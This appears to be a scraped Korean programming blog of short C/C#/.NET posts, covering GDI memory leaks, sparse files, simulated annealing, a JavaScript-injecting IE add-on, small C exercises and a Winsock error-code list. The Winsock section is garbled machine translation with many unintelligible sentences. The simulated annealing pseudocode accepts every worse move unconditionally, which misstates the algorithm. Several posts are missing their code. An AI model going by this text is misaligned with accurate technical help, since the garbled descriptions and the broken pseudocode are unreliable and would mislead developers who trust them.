devflow.kr@:~#

[C#/.NET]FromHbitmap 메모리 누수

C/C++

개인적으로 화면처리하는 프로그램을 자주 만드는 경험으로써 메모르누수는 언제나 큰 버그였다.


맘먹고 돌려보니 FromHbitmap에서 메모리누수가 일어나는걸 알 수 있었다.


검색해보니 이미 많은 방법이 있었고 그 중 하나를 인용하겠다.



    Image img = null;
    try {
         img = Image.FromHbitmap(hBitmap);
    }finally{
         DeleteObject(hBitmap);
         img.Dispose();
    }
     
    [DllImport("gdi32.dll", EntryPoint = "DeleteObject")]
    public static extern IntPtr DeleteObject(IntPtr hDc);
     


출저 : http://jianmingli.com/wp/?p=62



저작자 표시 비영리 동일 조건 변경 허락
신고

[C#]파일 Random Access 빠르게 읽기 (readbyte,read)

C/C++
        [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        private static extern bool DeviceIoControl(
            SafeFileHandle hDevice,
            int dwIoControlCode,
            IntPtr InBuffer,
            int nInBufferSize,
            IntPtr OutBuffer,
            int nOutBufferSize,
            ref int pBytesReturned,
            [In] ref NativeOverlapped lpOverlapped
        );

        static void MarkAsSparseFile(SafeFileHandle fileHandle)
        {
            int bytesReturned = 0;
            NativeOverlapped lpOverlapped = new NativeOverlapped();
            bool result =
                DeviceIoControl(
                    fileHandle,
                    590020, //FSCTL_SET_SPARSE,
                    IntPtr.Zero,
                    0,
                    IntPtr.Zero,
                    0,
                    ref bytesReturned,
                    ref lpOverlapped);
            if (result == false)
                throw new Win32Exception();
        }


MarkAsSparseFile(SafeFileHandle fileHandle)을 FileStream의 헨들러로 잡아주면됩니다.


저작자 표시 비영리 동일 조건 변경 허락
신고

[.NET] UserControl이 ToolBox에 안보일때

C/C++



Tools > Option > Windows Forms Designer 설정에서 AutoToolboxPopulate를 True로 설정하시면 ToolBox에 자동으로 추가됩니다. ^^

저작자 표시 비영리 동일 조건 변경 허락
신고

Simulated Annealing (담금질 기법)

C/C++

영문 WIKI : http://en.wikipedia.org/wiki/Simulated_annealing

한국 WIKI : http://ko.wikipedia.org/wiki/%EB%8B%B4%EA%B8%88%EC%A7%88_%EA%B8%B0%EB%B2%95


한국 WIKI에는 그다지 설명이 잘되어있지 않기 때문에 영문 WIKI를 참고하기를 바랍니다. 


담금질 기법(Simulated Annealing, SA)은 전역 최적화 문제에 대한 일반적인 확률적 메타 알고리즘이다. 이 기법은 광대한 탐색 공간 안에서, 주어진 함수의 전역 최적해에 대한 좋은 근사를 준다. 커크패트릭, 젤라트, 베키가 1983년에 고안했다. 보통 영어를 그냥 읽어서 시뮬레이티드 어닐링이라고 부른다.

담금질 기법이라는 말은 금속 공학의 담금질(quenching)에서 왔는데, 이는 풀림(annealing)의 오역이다. 풀림은 금속재료를 가열한 다음 조금씩 냉각해 결정을 성장시켜 그 결함을 줄이는 작업이다. 열에 의해서 원자는 초기의 위치(내부 에너지가 극소점에 머무르는 상태)로부터 멀어져 에너지가 더욱 높은 상태로 추이된다. 천천히 냉각함으로써 원자는 초기 상태보다 내부 에너지가 한층 더 극소인 상태를 얻을 가능성이 많아진다.

SA 알고리즘은 해를 반복해 개선함으로써, 현재의 해 근방에 있는 해를 임의로 찾는데, 그때에 주어진 함수의 값과 전역 인자 T (온도를 의미한다)가 영향을 준다. 그리고 앞에서 기술한 물리 과정과 비슷한 원리로. T(온도)의 값은 서서히 작아진다. 따라서, 처음에는T가 크기 때문에 해가 크게 변화하지만, T가 0에 가까워짐에 따라 변화가 줄어든다. 처음은 간단하게 비탈을 올라갈 수 있으므로, 등산법으로 문제가 되는 지역 최적점에 빠졌을 때의 대책을 생각할 필요가 없다.


아래 의사코드 ( pseudo-code, 類似)는 담금질 기법을 코드화한 것이다.

  • P는 P=nk=5*100=500 이 되고 Step 이 500 이 된다. 여기서 Step의 값은 아주 중요한 요소가 된다. 만약 Step이 크게 되면 최적한된 값을 건더 뛰고 넘어가서 최적화의 단계를 가지지 못한다. 여기서 최적화를 예를 들면 만약 무작위의 10개의 돌이 있으면 이 돌을 가장 작은 공간에 배치할 때 가장 효율적으로 배치한 값이 담금질 기법의 최적화 값이 된다. 10개의 돌을 배치하는 방법으로 단순히 10!*10의 경우의 수를 생각해 보겠지만 이것을 한 번씩 다해서 최적의 경우의 수를 얻는다는 것은 너무나 비효율적이고 만약 돌의 갯수가 100000 개라고 하면 이 많은 경우의 수를 하는 것이 불가능하다. 그리고 특정 시간안에 이것을 찾아야 하는 조건이면 거의 불가능하게 된다. 그래서 모든 경우의 수를 하지 않고 이것을 찾는 방법이 바로 담금질 기법이다. 하지만 이 담금질 기법의 문제점이 바로 적당한 Step 사이즈 즉 가장 효율적으로 찾기 위한 돌을 움직여야 하는 갯수를 결정하는 것이다. 본론으로 돌아가서 Step의 사이즈가 작으면 최적화의 방법을 당연히 찾을 것이다. 여러가지 경우의 수를 많이 해보면 당연히 그중에 찾을 확률이 높다. 하지만 Step의 사이즈가 작으면 작을 수록 무작위로 모든 경우 수를 해보는 것과 점점 차이가 없어진다. 그럼 담금질 기법의 의미가 없어진다.
  • 담금질 기법의 원문을 자주 보거나 번역판을 보면 온도라는 말과 Frozen 즉 냉각이라는 말이 자주 나온다. 이것은 이 기법이 담금질 기법과 비슷하기 때문에 같은 개념으로 설명하기 위한 것이지 절대 이것이 정말 온도나 냉각을 의미하는 것이 아니라 경우의 수을 높여서 더 안좋은 결과가 나오는 것을 Uphill 즉 상승 즉 온도의 상승으로 보고, 경우의 수의 조합을 좋게 해서 Downhill 즉 하락 온도의 하락으로 보고 설명을 하는 것이다. 온도가 완전히 떨어진 경우 Downhill의 최저점이 우리가 찾는 최적의 조합이 되는 것이다.

begin
Get an initial solution S; // s ← s0; e ← E(s) 초기값을 설정한다.
Get an initial temperature T>0; // 초기 온도값을 설정함, 예) T=1000
while not yet "frozen" do // 최적의 경우를 찾을 때 까지 즉 온도가 완전히 내려 갈때 까지 프로그램을 Loop한다.

  for 1<= i <= P do       // P=nk 즉 Step의 사이즈가 되고 k는 주어진 종류를 n은 우리가 결정하게 된다. 즉 STEP사이즈를 결정하게 된다.
  Pick a random neighbor S' of S; // 임의로 선택한 솔루션 S' 과 기존의 솔루션 S를 선택한다.
  ∆ <- cost(S')-cost(S); // 기존의 솔루션과 새로운 솔루션을 가격의 차 즉 최적화의 값의 차를 만듭니다.
                         // ∆ <- area(S')-area(S), 돌을 예를 들면 면적이 크기가 효율성의 차이 이다.
  /* downhill move */ 
  if ∆ <= 0 then S <- S' // S'의 값이 작으면 즉 차지하는 면적이 작고, 더 효율적으로 배치 되었으면, 
                         // 이것이 현재까지의 최적화가 되고 이것을 온도가 내려간다. Downhill로 표현한다.
  /* uphill move */ 
  if ∆ > 0 then S <- S' // S'의 값이 크면 즉 차지하는 면적이 크고, 더 비 효율적으로 배치 되었으면, 이것을 온도가 올라간다.
                        //  uphill로 표현한다.


T <-rT; // 한가지 경우의 수를 처리 했었므로 한 단계 줄어 들게 되면 다음 반복을 진행한다.
return S // 프로그램이 마무리 되면 우리가 찾는 최적화의 답을 리턴하고, 정확히 최적화의 답을 찾았으면 이것을 Global Optimization 즉 모든 경우의 수중에서 가장 최적화된 것이다.
end

  • 여기서 원래의 SA(Generic Simulated Annealing Algorithm)은 여러가지 찾는 속도나 사용하는 메모리의 경우에 대하여 문제점이 있다. 그래서 여러 박사 과정의 분들이 새로운 기법을 추가하여 더욱 발전되어 기법을 찾아 내었다. 하지만 이 아이디어 자체는 모든 분야에 대하여 적용이 가능한다. 임의의 경우의 수가 많은 경우 정해진 조건에서 대용량의 최적화를 찾을 때 유용하게 사용이 된다.

저작자 표시 비영리 동일 조건 변경 허락
신고

Quadratic Equation (2차 방정식)

C/C++

 

 

--

 

사용되지 않은 변수도 있고, 급하게 작성하느라 더럽네요 .나중에 따로 수정하도록 하겠습니다.

저작자 표시 비영리 동일 조건 변경 허락
신고

C#으로 Javascript Injection BHO 만들어보기.

C/C++

이 포스트는 여기를 번역, 풀이하여 정리한 포스트입니다.

-


일단 BHO는 무었인가 하면, IE에서 사용하는 추가기능(Add-on)입니다. 어떻게 보면 Toolbar라고 할 수 있습니다.

BHO는 브라우저의 DocumentComplete, BeforeNavigate등.. Frame의 이벤트를 받을 수 있습니다.


이걸 이용해서, 모든 페이지나 특정 페이지에 Javascript를 inject하거나, 원하는 div를 삭제 등, 실질적으로 HTML이 렌더링 되어 보이기 전에 HTML의 내용을 변경 할 수 있습니다.


이 기능을 통해 imideo(http://www.imideo.com/) 기능 처럼 Javascript를 inject시켜서, 원하는 기능을 만들 수 있지요.


간단하게 C#으로 작성하는 법을 알려드리도록 하겠습니다.



일단 프로젝트를 새로만드는데, Windows->Class Library로 만듭니다.

그리고, IObjectWithSite의 사용을 위해, Microsoft Internet Explorer와 Microsoft HTML Object를 참조를 합니다.


그리고, 필요한 네임스페이스들을 import해줍니다.




그리고 IObjectWithSite의 인터페이스를 클래스위에 정의해줍니다.



이젠 IObjectWithSite의 인터페이스로 BHO 클라스를 만들어줍니다.





그리고 DocumentComplete 메서드에 아래처럼 Javascript를 inject하는 소스를 삽입합니다.





이렇게 기본적인 기능ㅇ르 하는 클래스는 완성이 되었습니다.

이젠 이 COM이 IE에서 동작하기 위한, 등록/해제의 기능을 넣어야합니다.





GUID를 얻어온 후 레지스트리에 등록합니다.

여기서 NoExplorer라는 값은, Windows Explorer에서 작동하지 않게, 즉 IE에서만 작동한다는 옵션입니다.


이런식으로 간단하게 만들어집니다.


단, regsvr32로 등록이 안되고, regasm을 이용해서 등록을 해야합니다.

컴파일한 .Net Framework와 동록할 regasm의 버전이 같아야 등록이 됩니다.





저작자 표시 비영리 동일 조건 변경 허락
신고

new 연산자를 가지는 클래스 만들어보기

C/C++

제가 가지고잇는 책에 따라 작성해보았습니다.


저작자 표시 비영리 동일 조건 변경 허락
신고

파일 입출력 - Part.1 : 파일 입력

C/C++




일단, 기본 스트림 입출력에 대해서는 모두 아실거라, (그래봤자 cin, cout... ..) 생각하고 파일입출력부터 하도록 하겠습니다.


일단, 헤더파일은 fstream.h 입니다.. 이 안에는 basic_ifsteam, basic_ostream 등이 확장되어있고, 이름에서부터 각 파일 입력과 출력을 해주는 역활을 합니다.


파일 입출력 연산은 스트림 입출력 메서드의 방식과 별반 차이가 없습니다,


그러한 이유는 파일입출력스트림은 기본 스트림 클래스에서 확장되어 만들어진 클래스이기 때문에 어렵지는 않습니다.


그럼 간단하게, 파일을 여는 법을 알아보도록 하겠습니다...




fsFile을 ifstream 객체로 선언한 후, open메서드로 file.txt 엽니다.

이렇게 파일을 읽어, 정상적으로 읽어 왔다면, 현재 파일 포인터는 파일의 맨 처음 시작부분입니다.

또 파일의 끝 즉 EOF가 true인지 확인 할때에는 eof 메서드를 이용하면 됩니다.




여담으로 안정성이 높고, 호환성이 높은 프로그램을 만들때는 모든 추측된 상황들을 처리해야 합니다.

즉, 파일 입출력할때에는, 파일이 정상적으로 열렸는지, 쓰였는지, 삭제되었는지, 크기가 올바른지 등..

을 체크를 해야 됩니다. 아래 예제를 보면서 파일의 읽는 과정에서, 오류들을 처리하는 방법을 보도록 합니다.





다음 파트에는 파일의 출력에 대해서 포스팅하겠습니다.




저작자 표시 비영리 동일 조건 변경 허락
신고

좌표가 원안에 있는지 체크하는 알고리즘

C/C++

친구 부탁으로 작성하게 되어 올려봅니다.


일단 원중심의 좌표는 (0, 0)으로 간주합니다.






원의 중심이 (0,0)이 아니라면, in_x 와 in_y의 변수에 각각 원의 중심 좌표를 빼주세요.

즉 (in_x-center_x)^2 ,  (in_y-center_y)^2 가 되는겁니다. 


저작자 표시 비영리 동일 조건 변경 허락
신고

Visual Studio 2012 한글로 언어 변경하기.

C/C++

VS2012를 어둠의 루트이든, 정식 루트이든, 보통 영문버전 파일을 설치하셨을것입니다.


이를 다른 언어로 변경할 수 있습니다. 네 뭐 당연한 이야기지만요. 찾으시는 분들이 많더라구요.



일단 VS2012를 완벽하게 설치해주시기 바랍니다.






http://www.microsoft.com/visualstudio/kor/downloads 로 가셔서 자신의 맞는 제품 종류(Ultimate, Express...)


에 맞게 선택하셔서 선택하시면 위와 같이 늘어납니다.





오른쪽 언어 팩에서 한국어로 선택하신다음에 다운로드해주세요.


그런다음에 마음껏 설치해주시면 됩니다.




먼저 VS2012를 종료해주셔야합니다.




개인정보 취급장칭이나 사용약관을 읽어보신다음에 동의하신다음에 설치합니다.




알아서 설치됩니다.




설치가 다 되었습니다..






그다음에 VS2012를 실행시키신다음에 TOOLS->OPTIONS를 선택합니다.





International Settings - > Lamguage 를 English 에서 한국어를 선택하시고 OK를 누릅니다.


그런다음에 VS2012를 죵류하신 후 다시 실행시키면 한글로 바뀐 VS2012를 보실 수 있습니다.







저작자 표시 비영리 동일 조건 변경 허락
신고

[mIRC] ForeWindows 캡션

C/C++


ForeWindow.dll


저작자 표시 비영리 동일 조건 변경 허락
신고

fan

C/C++

void fan(int fan_size) {
 int i,j,k,leftWing=fan_size,rightWing=0;
 for(i=0;i<fan_size;i++){
  rightWing++;
  for(j=0;j<i;j++)
   printf(" ");
  for(j=fan_size;j>i;j--)
   printf("*");
  for(j=fan_size; j>rightWing; j--)
   printf(" ");
  for(j=0;j<rightWing;j++)
   printf("*");
  printf("\n");
 }
 for(i=0;i<fan_size;i++){
  leftWing--;
  for(k=fan_size;k>fan_size-leftWing;k--)
   printf("*");
  for(k=0;k<fan_size-leftWing;k++)
   printf(" ");
  for(j=0;j<i;j++)
   printf("*");
  printf("\n");
 } 
}

저작자 표시 동일 조건 변경 허락
신고

Cheese

C/C++



#include 

int N,M,data[100][100],cnt,d;
void input(){
	int i,j;
	FILE *in=fopen("input2.txt","r");
	fscanf(in,"%d %d",&N,&M);
	for (i=1;i<=N;i++){
		for (j=1;j<=M;j++){
			fscanf(in,"%d",&data[i][j]);
		}
	}
}

void back(int x,int y,int pass,int change){
	data[x][y]=change;
	if (data[x+1][y]==pass && x<=N)
		back(x+1,y,pass,change);
	if (data[x][y+1]==pass && y<=M) 
		back(x,y+1,pass,change);
	if (data[x-1][y]==pass && x-1>=0) 
		back(x-1,y,pass,change);
	if (data[x][y-1]==pass && y-1>=0)
		back(x,y-1,pass,change);
}

void process(){
	int i,j,c;
	back(0,0,0,2);
	while(1){
		c=0;
		for (i=1;i<=N;i++){
			for (j=1;j<=M;j++){
				if(data[i][j]==1 && (data[i+1][j]==2 || data[i][j+1]==2 || data[i-1][j]==2 || data[i][j-1]==2)){
					data[i][j]=3;
					c=1;
				}
			}
		}
		if (!c) break;
		d=0;
		for (i=1;i<=N;i++){
			for (j=1;j<=M;j++){
				if (data[i][j]==3){
					d++;
					back(i,j,0,2);
				}
			}
		}
		cnt++;
	}
}

void output(){
	FILE *out=fopen("output.txt","w");
	fprintf(out,"%d\n%d\n",cnt,d);
}

void main(){
	input();
	process();
	output();
}
저작자 표시 동일 조건 변경 허락
신고

윈속 (winsock2.h) 오류 코드와 정보

C/C++
WSAEINTR (10004)
번역 : 함수 호출이 중단되었습니다.
설명 : WSACancelBlockingCall (Wsapiref_704y.asp) 호출하여 있는 블로킹 작업이 중단되었습니다.

WSAEACCES (10013)
번역 : 사용 권한이 거부되었습니다.
설명 : 방식으로 액세스 권한에 의해 숨겨진 소켓에 액세스를 시도했습니다. 예를 들어, 이 오류는 브로드캐스트 주소를 sendto 사용되지만 setsockopt(SO_BROADCAST) 사용하여 브로드캐스트 권한이 설정되지 때 발생합니다. 다른 가능한 WSAEACCES 오류 이유는 있는 바인딩 (Wsapiref_6vzm.asp) 함수가 호출될 때 (있는 Microsoft Windows NT 4.0 서비스 팩 4 [SP4] 이상을), 단독 사용 권한으로 동일한 주소를 다른 프로그램, 서비스 또는 커널 모드 드라이버가 바인딩됩니다. 이러한 단독 액세스를 Windows NT 4.0 SP4 및 나중에 새로운 기능이 있으며 SO_EXCLUSIVEADDRUSE 옵션을 사용하여 구현됩니다.

WSAEFAULT (10014)
변환 : 잘못된 주소.
설명 : 시스템이 잘못된 포인터 주소가 검색되지 호출의 포인터 인수를 사용하려고 했습니다. 프로그램이 잘못된 포인터 값을 전달합니다 버퍼의 길이가 너무 작으면 이 오류가 발생합니다. 예를 들어, SOCKADDR 구조체를 인수의 길이가 sizeof(SOCKADDR) 값보다 작은 경우 이 문제가 발생합니다.

WSAEINVAL (10022)
변환 : 잘못된 인수입니다.
설명 : 잘못된 인수입니다 (예를 들어, 인수가 잘못된 수준에 지정된) setsockopt (Wsapiref_94aa.asp) 함수에 제공되었습니다. 때로는 소켓 현재 상태로 의미하기도, 호출 수신 중인 소켓에 (Wsapiref_13aq.asp) 그대로 예를 들어.

WSAEMFILE (10024)
번역 : 열려 있는 파일이 너무 많습니다.
설명 : 열려 있는 소켓 너무 있습니다. 각 구현 소켓 핸들을 사용할 수 있는 최대 번호가 있습니다. 프로세스당 전체적으로 또는 스레드별로 이러한 핸들은 못할 수도 있습니다.

WSAEWOULDBLOCK (10035)
번역 : 자원 일시적으로 사용할 수 없습니다.
설명 : 이 오류는 반환됩니다 완료할 수 즉시 예를 들어, 비블로킹 소켓 연산을 통해 recv (Wsapiref_2i9e.asp) 데이터가 소켓에서 읽을 대기. 치명적이지 않은 오류가 및 다시 작업을 시도할 수 있습니다 나중에 합니다. WSAEWOULDBLOCK 일반적으로 설정될 연결 시간이 경과해야 때문에 호출 결과를 비블로킹 SOCK_STREAM 소켓에서 (Wsapiref_8m7m.asp) 연결할 때 보고됩니다.

WSAEINPROGRESS (10036)
번역 : 작업이 지금 진행 중입니다.
설명 : 한 차단 작업이 실행 중입니다. Windows 소켓은 각 작업 또는 처리되기를 각 스레드는 단일 차단 작업을 전용 허용합니다. 함수 호출 또는 다른 소켓에 참조하는) 여부를 후 함수 WSAEINPROGRESS 오류와 함께 실패합니다.

WSAEALREADY (10037)
번역 : 작업이 이미 진행 중입니다.
설명 : 이미 작업이 진행 에서 중일 때 작업의 비블로킹 소켓에 했습니다. 예를 들어, 전화 연결할 (Wsapiref_8m7m.asp)가 한 번 이미 연결 비블로킹 소켓에 했거나 이미 이미 취소되었습니다 있거나 완료된 비동기 요청을 (WSAAsyncGetXbyY) 했습니다.

WSAENOTSOCK (10038)
번역 : 소켓 작업을 nonsocket.
설명 : 작업의 소켓 이외의 개체에 시도하지 않았습니다. 소켓 핸들 매개 변수가 유효한 소켓을 참조하지 않거나 선택합니다 (Wsapiref_1ab6.asp)을 위한 구성원으로 있는 fd_set 잘못되었습니다.

WSAEDESTADDRREQ (10039)
번역 : 대상 주소가 필요합니다.
설명 : A 필요한 주소 소켓 작업에서 지정하지 않았습니다. 예를 들어, 원격 주소의 ADDR_ANY 호출하면 sendto (Wsapiref_4sqa.asp)이 이 오류가 반환됩니다.

WSAEMSGSIZE (10040)
번역 : 메시지가 너무 깁니다.
설명 : 내부 메시지 버퍼 또는 다른 네트워크 제한보다 데이터그램 소켓에 전송된 메시지에 또는 데이터그램을 받는 데 사용되는 버퍼가 그 데이터그램을 작은 수 없습니다.

WSAEPROTOTYPE (10041)
번역 : 프로토콜 소켓의 잘못된 형식입니다.
설명 : 소켓 (Wsapiref_2qr6.asp) 함수 호출에서 지정한 프로토콜입니다 요청된 소켓 형식을 의미를 지원하지 않습니다. 예를 들어, 소켓 형식을 SOCK_STREAM ARPA 인터넷 UDP 프로토콜을 지정할 수 없습니다.

WSAENOPROTOOPT (10042)
변환 : 잘못된 프로토콜 옵션입니다.
설명 : 있는 알 수 없는 잘못되었거나 지원되지 않는 옵션 또는 수준 getsockopt (Wsapiref_8qcy.asp) 호출 또는 setsockopt (Wsapiref_94aa.asp) 호출은 지정되었습니다.

WSAEPROTONOSUPPORT (10043)
번역 : 지원되지 않는 프로토콜.
설명 : 요청된 프로토콜이 있거나 구성되어 있지 시스템의 상태이거나에 대한 구현이 없습니다. 예를 들어, 소켓 (Wsapiref_2qr6.asp) 호출 요청을 SOCK_DGRAM 소켓을 있지만 스트림에 프로토콜을 지정합니다.

WSAESOCKTNOSUPPORT (10044)
번역 : 소켓 형식이 지원되지 않습니다.
설명 : 지정한 소켓 형식 지원함으로써 주소 패밀리 존재하지 않습니다. 예를 들어, 소켓 (Wsapiref_2qr6.asp) 호출을 선택할 수 있는 형식 했지만 구현을 SOCK_RAW 지원하지 않습니다 선택적 SOCK_RAW 모든 소켓.

WSAEOPNOTSUPP (10045)
번역 : 작업을 지원하지 않습니다.
설명 : 사용자가 작업을 시도하지 않았습니다 참조되는 개체의 형식을 사용할 수 없습니다. 이 오류는 일반적으로 이 작업을 지원할 수 없는 소켓 소켓 설명자가 데이터그램 소켓에 연결을 수락할 시도할 때 발생합니다.

WSAEPFNOSUPPORT (10046)
번역 : 프로토콜 제품군 지원되지 않습니다.
설명 : 프로토콜 패밀리가 시스템 에서 구성되지 또는 대한 구현이 있습니다. 이 메시지는 WSAEAFNOSUPPORT에서 약간 다른 의미를 갖습니다. 그러나 자주 서로 호환되지 않습니다. 또한 이러한 메시지 중 하나가 반환하는 모든 Windows 소켓 기능을 WSAEAFNOSUPPORT를 지정합니다.

WSAEAFNOSUPPORT (10047)
번역 : 프로토콜 패밀리가 지원하지 않는 패밀리 주소.
설명 : 요청된 프로토콜과 호환되지 않는 주소 사용되었습니다. 모든 소켓 관련된 주소 패밀리 (인터넷 프로토콜 AF_INET) 및 일반 프로토콜 종류 (SOCK_STREAM) 만들어집니다. 잘못된 프로토콜 소켓 (Wsapiref_2qr6.asp) 호출에서 명시적으로 요청한 경우나 잘못된 패밀리 주소가 사용되고 소켓의 경우, 예를 들어, sendto (Wsapiref_4sqa.asp)이 이 오류가 반환됩니다.

WSAEADDRINUSE (10048)
번역 : 이미 사용 중인 주소.
설명 : 일반적으로 각 소켓 주소 (프로토콜/IP 주소/포트) 사용을 하나만 허용됩니다. 프로그램 (Wsapiref_6vzm.asp) IP 주소 또는 제대로 닫힌 소켓 기존 소켓의 이미 사용된 포트를 소켓을 바인딩할 하면 이 오류가 발생합니다 또는 소켓을 있는 여전히 프로세스의 닫는. 같은 포트 번호를 여러 개의 소켓을 바인딩할 하는 서버 프로그램의 고려해 setsockopt (Wsapiref_94aa.asp)(SO_REUSEADDR). 클라이언트 프로그램은 일반적으로 필요가 전혀 바인딩 호출, 연결 (Wsapiref_8m7m.asp) 사용되지 않는 포트를 자동으로 선택합니다. (ADDR_ANY 관련된) 와일드카드 주소로 바인딩하기 호출되면 특정 주소 커밋될 때까지 WSAEADDRINUSE 오류가 지연될 수 있습니다. 나중에 비롯하여 연결, 수신, WSAConnect, WSAJoinLeaf 발생하는 다른 함수에 대한 호출로 경우입니다.

WSAEADDRNOTAVAIL (10049)
번역 : 요청한 주소를 할당할 수 없습니다.
설명 : 요청한 주소가 해당 컨텍스트에서 유효하지 않습니다. 일반적으로 이 오류는 로컬 컴퓨터에 대한 유효하지 않은 주소로 바인딩 (Wsapiref_6vzm.asp) 시도에서 얻은 발생합니다. 이 오류가 발생할 수도 있습니다 연결 (Wsapiref_8m7m.asp) 에서 sendto (Wsapiref_4sqa.asp) WSAConnect (Wsapiref_8kc2.asp), Wsapiref_7dv6.asp, WSAJoinLeaf 또는 WSASendTo (Wsapiref_752q.asp) 원격 주소 또는 포트 (예: 주소 또는 포트 0) 원격 컴퓨터에 대한 잘못된 경우.

WSAENETDOWN (10050이(가))
번역 : 네트워크 다운되었습니다.
설명 : 있는 소켓 작업을 발견한 죽은 네트워크. 이 오류는 네트워크 시스템 (즉, Windows 소켓 DLL 통해 실행되는 프로토콜 스택), 네트워크 인터페이스 또는 로컬 네트워크에 심각한 오류를 나타낼 수 있습니다.

WSAENETUNREACH (10051)
번역 : 네트워크 연결할 수 없습니다.
설명 : 연결할 수 없는 네트워크 A 소켓 작업을 했습니다. 이 오류는 일반적으로 로컬 소프트웨어 원격 호스트에 연결할 경로가 알고 의미합니다.

WSAENETRESET (10052)
번역 : 네트워크 재설정으로 연결이 있습니다.
설명 : 연결이 끊어졌습니다 keep-alive 활동이 작업이 진행되는 동안 오류를 검색합니다. 또한 또한 반환할 수 setsockopt (Wsapiref_94aa.asp) SO_KEEPALIVE 실패했습니다 이미 연결이 설정된 경우.

WSAECONNABORTED (10053)
번역 : 소프트웨어 때문에 연결이 중단되었습니다.
설명 : 않은 연결을 중지했습니다 호스트 컴퓨터에 소프트웨어를 가능한 데이터 전송 시간 제한 또는 프로토콜 오류로 인해.

WSAECONNRESET (10054)
번역 : 피어 다시 연결.
설명 : 강제로 원격 호스트에 대한 기존 연결을 끊었습니다. 일반적으로 원격 호스트에서 피어 프로그램이 갑자기 중지되어, 호스트를 다시 또는 원격 호스트에 하드 닫기 사용하는 경우 이 오류가 발생합니다. 원격 소켓에서 SO_LINGER 옵션에 대한 자세한 내용은 setsockopt (Wsapiref_94aa.asp)를 참조하십시오. 하나 이상의 작업이 진행되는 동안 오류를 감지하면 활동이 keep-alive 연결이 끊어진 경우 이 오류가 발생할 수도 있습니다. WSAENETRESET 사용하여 진행 중인 작업은 실패합니다. WSAECONNRESET 사용하여 후속 작업이 실패합니다.

WSAENOBUFS (10055)
번역 : 버퍼 공간이 없습니다.
설명 : 버퍼 공간이 진행하지 또는 큐가 꽉 차서 소켓에 대한 작업을 수행할 수 없습니다.

WSAEISCONN (10056)
번역 : 소켓 이미 연결되어 있습니다.
설명 : 이미 연결된 소켓에 있는 연결 요청을 보냈습니다. 또한 일부 구현에서는 sendto (Wsapiref_4sqa.asp) 라고 연결된 SOCK_DGRAM 소켓에서 sendto (Wsapiref_4sqa.asp) 사람 매개 SOCK_STREAM 소켓 무시됨)에 대한 다른 구현에서 취급할 이 유효한 발생 있지만 경우 이 오류를 반환합니다.

WSAENOTCONN (10057)
번역 : 소켓 연결되어 있지 않습니다.
설명 : 소켓이 연결되어 있지 않으므로 (sendto [Wsapiref_4sqa.asp] 사용하여 데이터그램 소켓을 보내면 주소가 제공된) 데이터를 보내거나 받을 수 있는 요청이 허용되지 않습니다. 예를 들어, setsockopt (Wsapiref_94aa.asp) SO_KEEPALIVE 연결을 다시 설정하면 이 오류는 다른 유형의 작업 반환할 수도 있습니다.

WSAESHUTDOWN (10058)
번역 : 소켓이 종료된 후에 보낼 수 없습니다.
설명 : 소켓을 이미 종료된 이전 종료 (Wsapiref_60z6.asp) 호출로 방향으로 때문에 데이터를 보내거나 받을 수 있는 요청을 허용하지 않았습니다. 종료를 호출하면 소켓의 부분 닫기가 요청되었습니다. 이 있는 보내거나 받는 프로세스 (또는 모두) 단종되지 신호입니다.

WSAETIMEDOUT (10060)
번역 : 연결 시간이 초과되었습니다.
설명 : 연결된 파티 시간이 지나면 올바르게 응답하지 않았습니다 또는 연결된 호스트에서 응답하지 못했기 때문에 설정된 연결 실패 때문에 한 연결 시도가 실패했습니다.

WSAECONNREFUSED (10061)
번역 : 연결 거부되었습니다.
설명 : 대상 컴퓨터에 적극적으로 거부하는 없는 연결을 만들 수 있습니다. 이 오류는 일반적으로 하나의 서버 프로그램을 실행하는 없는 외부 호스트의 비활성 서비스에 연결을 시도하지 못하도록 발생합니다.

WSAEHOSTDOWN (10064)
번역 : 호스트 다운되었습니다.
설명 : 대상 호스트가 있는 소켓 작업이 실패했습니다. 소켓 작업에서 죽은 호스트를 발생했습니다. 로컬 호스트의 네트워킹 작업이 시작되었습니다. 이러한 조건을 WSAETIMEDOUT 오류가 나타난 가능성이 많습니다.

WSAEHOSTUNREACH (10065)
번역 : 호스트로의 경로가 없습니다.
설명 : 연결할 수 없는 호스트 있는 소켓 작업을 했습니다 않았습니다. WSAENETUNREACH를 참조하십시오.

WSAEPROCLIM (10067)
번역 : 프로세스가 너무 많습니다.
설명 : 있는 Windows 소켓 구현을 동시에 사용할 수 있는 프로그램 수가 제한을 수 있습니다. WSAStartup (Wsapiref_1v8y.asp)이 이 오류와 함께 제한에 도달할 경우 실패할 수 있습니다.

WSASYSNOTREADY (10091)
번역 : 네트워크 하위 시스템을 사용할 수 없습니다.
설명 : Windows 소켓 구현이 네트워크 서비스를 제공하기 위해 사용하는 기초 시스템을 현재 사용할 수 없기 때문에 현재 작동할 수 없습니다 (Wsapiref_1v8y.asp) WSAStartup에 의해 이 오류가 반환됩니다. 다음을 확인하십시오.
적절한 Windows 소켓 DLL 파일의 현재 경로가 있는지 확인하십시오.
해당 사용자가 시도하지 동시에 둘 이상의 Windows 소켓 구현을 사용하지 확인하십시오.
있으면 이상의 Winsock DLL이 시스템에 확인합니다 경로에 있는 첫째 Winsock DLL 현재 로드된 네트워크 하위 시스템에 대한 적절한.
필요한 모든 구성 요소가 현재 설치되어 있고 Windows 소켓 구현 설명서를 참조하여 올바르게 구성되어 있는지 확인하십시오.

WSAVERNOTSUPPORTED (10092)
번역 : 범위 제한 Winsock.dll 버전.
설명 : 현재 있는 Windows 소켓 구현이 프로그램에서 요청한 Windows 소켓 사양을 버전이 지원하지 않습니다. 이전 Windows 소켓 DLL 파일이 액세스하고 있는지 확인하십시오.

WSANOTINITIALISED (10093)
번역 : 아직 수행되지 성공 WSAStartup.
설명 : 양쪽 프로그램을 WSAStartup (Wsapiref_1v8y.asp) 또는 WSAStartup (Wsapiref_1v8y.asp)이 실패한 호출하지 없습니다. 프로그램이 현재 현재 작업을 소유하고 있지 않은 소켓 액세스 (즉, 이를 시도하고 작업 사이에 소켓 공유), WSACleanup 너무 많이 호출된 또는.

WSAEDISCON (10101)
번역 : 진행 에서 정상 종료.
설명 : 원격 상대방이 정상적인 시스템 종료 시퀀스를 시작했습니다 나타냅니다 (Wsapiref_4z1u.asp) WSARecv 및 WSARecvFrom (Wsapiref_4wky.asp)이 이 오류가 반환됩니다.

WSATYPE_NOT_FOUND (10109)
번역 : 클래스 형식을 찾을 수 없습니다.
설명 :, 지정된 클래스에서 찾을 수 없습니다.

